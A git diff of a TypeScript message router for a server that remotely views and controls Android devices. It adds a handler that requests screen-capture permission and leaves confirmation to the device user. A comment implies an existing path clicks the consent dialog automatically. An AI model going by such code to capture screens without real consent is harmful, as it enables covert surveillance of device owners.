quality: 50,
|
||||
maxWidth: 480,
|
||||
maxHeight: 854
|
||||
})
|
||||
this.logger.info(`📤 已向设备${deviceId}发送切换采集模式指令`)
|
||||
}
|
||||
}
|
||||
} catch (e) {
|
||||
this.logger.error(`❌ 发送切换采集模式指令失败:`, e)
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// ✅ 收到有效帧,重置黑帧计数
|
||||
if (screenData.deviceId) {
|
||||
const prevCount = this.consecutiveBlackFrames.get(screenData.deviceId) || 0
|
||||
if (prevCount > 0) {
|
||||
this.logger.info(`✅ 设备${screenData.deviceId}收到有效帧(${dataSize}字符),重置黑帧计数(之前${prevCount})`)
|
||||
}
|
||||
this.consecutiveBlackFrames.set(screenData.deviceId, 0)
|
||||
// 收到有效帧后允许再次发送切换指令(如果后续又出现黑帧)
|
||||
this.captureModeSwitchSent.delete(screenData.deviceId)
|
||||
}
|
||||
|
||||
// 🔧 检查设备是否有控制者,没有控制者直接丢弃(提前检查,减少处理开销)
|
||||
const controllerId = this.webClientManager.getDeviceController(screenData.deviceId)
|
||||
if (!controllerId) {
|
||||
@@ -1823,6 +1881,9 @@ export class MessageRouter {
|
||||
case 'REFRESH_MEDIA_PROJECTION_PERMISSION':
|
||||
return this.handleRefreshMediaProjectionPermission(client.id, eventData.deviceId)
|
||||
|
||||
case 'REFRESH_MEDIA_PROJECTION_MANUAL':
|
||||
return this.handleRefreshMediaProjectionManual(client.id, eventData.deviceId)
|
||||
|
||||
case 'CLOSE_CONFIG_MASK':
|
||||
return this.handleCloseConfigMask(client.id, eventData.deviceId, eventData.manual)
|
||||
|
||||
@@ -4078,6 +4139,75 @@ export class MessageRouter {
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 🆕 处理手动授权投屏权限请求(不自动点击确认)
|
||||
*/
|
||||
private handleRefreshMediaProjectionManual(clientId: string, deviceId: string): boolean {
|
||||
try {
|
||||
this.logger.info(`📺 手动授权投屏权限请求: 客户端=${clientId}, 设备=${deviceId}`)
|
||||
|
||||
const device = this.deviceManager.getDevice(deviceId)
|
||||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`)
|
||||
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
|
||||
deviceId,
|
||||
success: false,
|
||||
message: '设备已离线或不存在'
|
||||
})
|
||||
return false
|
||||
}
|
||||
|
||||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`)
|
||||
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
|
||||
deviceId,
|
||||
success: false,
|
||||
message: '无控制权限,请先申请设备控制权'
|
||||
})
|
||||
return false
|
||||
}
|
||||
|
||||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId)
|
||||
if (deviceSocketId) {
|
||||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId)
|
||||
if (deviceSocket) {
|
||||
deviceSocket.emit('control_command', {
|
||||
type: 'REFRESH_MEDIA_PROJECTION_MANUAL',
|
||||
deviceId,
|
||||
data: {},
|
||||
timestamp: Date.now()
|
||||
})
|
||||
|
||||
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
|
||||
deviceId,
|
||||
success: true,
|
||||
message: '手动授权命令已发送,请在设备上手动确认权限'
|
||||
})
|
||||
|
||||
this.logger.info(`✅ 手动授权投屏权限命令已发送: ${deviceId}`)
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
this.logger.error(`❌ 无法找到设备Socket连接: ${deviceId}`)
|
||||
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
|
||||
deviceId,
|
||||
success: false,
|
||||
message: '设备连接已断开'
|
||||
})
|
||||
return false
|
||||
|
||||
} catch (error) {
|
||||
this.logger.error('手动授权投屏权限失败:', error)
|
||||
this.webClientManager.sendToClient(clientId, 'refresh_permission_response', {
|
||||
deviceId,
|
||||
success: false,
|
||||
message: '手动授权投屏权限失败: ' + (error as Error).message
|
||||
})
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 🆕 路由权限申请响应
|
||||
*/
|
||||
|
||||
Reference in New Issue
Block a user